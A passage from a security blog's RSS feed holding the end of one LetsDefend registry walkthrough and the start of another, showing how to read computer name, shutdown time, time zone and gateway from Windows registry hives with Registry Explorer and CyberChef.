process. I hope that the links are a value add for your own investigations in the real world. I chose another registry challenge this week to keep pushing myself to learn more about the registry artifacts. This challenge was an excellent next step as it required a variety of tools and research to find the correct information, which better equips me for real-world engagements — awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/windows-registry&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools - (Registry Explorer, ShellBags Explorer, AppCompatCacheParser, &amp;amp;AmcacheParser):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics Blog:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/resource-center/blogs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/resource-center/blogs/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Registry Hives:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;Forensic Analysis of Windows Shellbags&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Wikipedia — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tom Clancy&amp;rsquo;s Rainbow Six Siege&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;ShimCache vs AmCache: Key Windows Forensic Artifacts&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;What is MRU (Most Recently Used)?&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;Forensic analysis of the Windows UserAssist artifact&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/artifact-profile-userassist/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/artifact-profile-userassist/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — RegistryHive Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/</link>
            <pubDate>Sun, 27 Apr 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — RegistryHive Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-registryhive-challenge-walkthrough&#34;&gt;LetsDefend— RegistryHive Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-registry-dump-with-registry-explorer-and-regripper&#34;&gt;Investigating a Registry Dump with Registry Explorer and RegRipper.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegistryHive&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re going deep into investigating the &lt;strong&gt;Windows Registry&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You&amp;rsquo;re a forensics analyst and have a registry dump. Try to analyze the evidence and answer the questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re assuming the role of a digital forensics analyst and are provided with a registry dump of a Windows device. Our objective is to analyze the artifacts and determine the answers to several questions to move through our investigation.&lt;/p&gt;&#xA;&lt;p&gt;To aid in our investigation, we&amp;rsquo;re going to leverage several tools, including &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegRipper&lt;/strong&gt;&lt;/a&gt; and Eric Zimmerman&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;, to view, search, and interpret data within the various registry hives to get a comprehensive view of the system. Since this is my first time testing these tools, we&amp;rsquo;ll explore multiple ways of finding the information while we discover the various features of the tools, and I&amp;rsquo;ll explain the approach along the way, making this a great primer into the world of registry forensics!&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-computer-name-of-thismachine&#34;&gt;Question 1: What is the Computer name of this machine?&#xA;&lt;/h3&gt;&lt;p&gt;To kick off our investigation, let&amp;rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s take a look at the challenge artifacts in the &lt;code&gt;RegistryHive &amp;gt; Regs&lt;/code&gt; directory. We&amp;rsquo;ll see that the folder contains a dump of the &lt;strong&gt;Windows&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Hives&lt;/strong&gt;&lt;/a&gt; (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we&amp;rsquo;ll need to analyze to tackle the investigation.&lt;/p&gt;&#xA;&lt;p&gt;Each of these hives contain different keys pertaining to various aspects of the device. Don&amp;rsquo;t worry, we&amp;rsquo;ll go into these in more detail later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;576px&#34; data-flex-grow=&#34;240&#34; height=&#34;333&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/7875ea411058679dc7cb40e3b7074f00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hive artifacts&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s check out the contents of the &lt;code&gt;Tools&lt;/code&gt; folder within the analysis environment. Inside, we&amp;rsquo;ll see that we have access to three tools that are used to parse and view registry hives — very handy, indeed!&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;: Part of Eric Zimmerman&amp;rsquo;s tool suite. This GUI-based tool is a &amp;quot; # &amp;ldquo;Registry viewer with searching, multi-hive support, plugins, and more.&amp;ldquo;2. &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegRipper2.8/3.0&lt;/strong&gt;&lt;/a&gt;: Two versions of RegRipper, a registry forensics tool used to extract information from registry hives using plugins. Version 2.8 is no longer maintained, but sometimes different versions of a tool give different outputs&amp;hellip;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;761px&#34; data-flex-grow=&#34;317&#34; height=&#34;252&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/db76379908b89a432032e6163180b99e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the Tools folder&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the background information out of the way, let&amp;rsquo;s get into the investigation! Our first task is to identify the Computer Name within the registry hives. We can locate this information in the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive, which contains the system&amp;rsquo;s configuration settings. To view this information, let&amp;rsquo;s check out &lt;strong&gt;Registry Explorer&lt;/strong&gt; by performing the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extract Registry Explorer and open the application.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;File &amp;gt; Load Hive&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive from the &lt;code&gt;Regs&lt;/code&gt; directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now that we have the SYSTEM hive loaded in Registry Explorer, we can work smarter and leverage the search box and enter &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;computer name&amp;rdquo;&#xA;into the field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;314px&#34; data-flex-grow=&#34;130&#34; height=&#34;611&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c67f7b112576b87881466a84a21b8d6f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Searching the SYSTEM hive for Computer Name&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the correct key within the hive, and we can view the &lt;code&gt;ComputerName&lt;/code&gt; value to find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f87533b84b09bde62350898bee22045e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-last-shutdown-time-for-thismachine&#34;&gt;Question 2: What is the last shutdown time for this machine?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we&amp;rsquo;ll need to determine the last shutdown time for the machine from the artifacts. For this task, we&amp;rsquo;ll continue using Registry Explorer with the SYSTEM hive.&lt;/p&gt;&#xA;&lt;p&gt;Instead of using the search field to find this string like we did for the last question, let&amp;rsquo;s leverage the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bookmarks&lt;/strong&gt;&amp;rdquo;&#xA;tab. Bookmarks are built into Registry Explorer and flag common artifacts, saving us time hunting. Putting this into practice, we&amp;rsquo;ll use the following process to find the &lt;strong&gt;Windows (Last shutdown time)&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Within Registry Explorer, press &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Bookmarks.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Select the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Common&amp;quot;&#xA;tab and scroll down to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Windows (Last shutdown time).&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Selecting this option will navigate you to the correct key containing the value we&amp;rsquo;re looking for.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/a039612faf642f199e651811393e8ccf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Using Bookmarks to Identify the Last Shutdown Time&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s just one small hiccup. Did you notice that the data isn&amp;rsquo;t displayed in a readable Date/Time format? There are a couple of ways we can solve this dilemma, covered below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-1-the-simple-method-using-the-data-interpreter&#34;&gt;Option 1: The simple method using the Data interpreter.&#xA;&lt;/h4&gt;&lt;p&gt;The first way we can approach this is to right-click the &lt;code&gt;ShutdownTime&lt;/code&gt; value and then select, **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Data interpreter&amp;quot;&#xA;**.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f32f15ab047b6aa1f571491b827215ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Data Interpreter&lt;/p&gt;&#xA;&lt;p&gt;Once the Data Interpreter window opens, we can see the interpreted &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows FILETIME&lt;/strong&gt;&lt;/a&gt; value: &lt;code&gt;2023-03-23 21:53:11&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;541&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c86390a6dade276d44c4b6241bdfb3c1_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-b-converting-the-data-with-cyberchef&#34;&gt;Option B: Converting the data with CyberChef.&#xA;&lt;/h4&gt;&lt;p&gt;I&amp;rsquo;ll admit, this was the first approach I took before discovering the data interpreter (&lt;em&gt;read the manual, my friends&lt;/em&gt; ðŸ˜‘), but I&amp;rsquo;m leaving this option here in case you ever run across a scenario where the data interpreter is not available, or you&amp;rsquo;re just curious.&lt;/p&gt;&#xA;&lt;p&gt;For this approach, copy the &lt;code&gt;RegBinary&lt;/code&gt; data from the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Data&amp;quot;&#xA;column in Registry Explorer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;157px&#34; data-flex-grow=&#34;65&#34; height=&#34;664&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/0afeb58c74220f375d58e146a78175ba_MD5.png&#34; width=&#34;436&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: The Data of the ShutdownTime&lt;/p&gt;&#xA;&lt;p&gt;C446BEDCD15DD901&lt;/p&gt;&#xA;&lt;p&gt;Then, use your web browser to navigate to &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once you have CyberChef open, paste the data contents into the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;input window&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;**Windows Filetime to UNIX Timestamp&amp;quot;&#xA;** operation to the recipe.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Output units&amp;quot;&#xA;is set to &lt;strong&gt;Seconds (s).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Hex (little endian)&lt;/strong&gt; as the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Input format&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;**From UNIX Timestamp&amp;quot;&#xA;** operation to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;The resulting output will display the expected time format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/cd39c0bc8b96839b9aa6942bae1e9c64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Converting the ShutdownTime data&lt;/p&gt;&#xA;&lt;p&gt;One final trick for answering &lt;strong&gt;Question 2:&lt;/strong&gt; pay no attention to the requested answer format. Instead, copy &amp;amp; paste the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows FILETIME&lt;/strong&gt;&lt;/a&gt; value exactly as we identified it: &lt;code&gt;2023-03-23 21:53:11&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/a8b1114a01fe352ddb1e0d6e8dfec8e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-time-zone-name-that-the-machineuses&#34;&gt;Question 3: What is the time zone name that the machine uses?&#xA;&lt;/h3&gt;&lt;p&gt;The next task is to identify the time zone used by the machine. Fortunately, we can continue to leverage Registry Explorer&amp;rsquo;s bookmarks and select the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**TimeZoneInformation&amp;quot;&#xA;** option to quickly locate this information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b485f7e4466a6f4a4e34fe80a5f53a0d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the TimeZoneInformation bookmark&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/fae4ca12ef8b621201f26218636d7d35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the machine Time Zone&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/d0c58cade13a639a6e27531f5d3f2755_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-ip-address-of-the-defaultgateway&#34;&gt;Question 4: What is the IP address of the default gateway?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll need to identify the default gateway IP address of the target system. To locate this information, we&amp;rsquo;ll leverage the &lt;strong&gt;Find&lt;/strong&gt; tool of Registry Explorer, which we can access by pressing &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tools&amp;quot;&#xA; and selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll keep the default options and simply enter the string &amp;quot; # &amp;ldquo;DefaultGateway&amp;quot;into the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/be6d0757c530110152a5ee00a0df92fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Search,&amp;rdquo;&#xA;we&amp;rsquo;ll see the results in the bottom pane. The first result gives us the &lt;code&gt;DHCPDefaultGateway&lt;/code&gt; value for a specific adapter, leading us to the correct answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/d69c4f5a193d43977e70146ec16f51b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-last-login-date-for-the-user--&#34;&gt;What is the last login date for the user &amp;quot; # 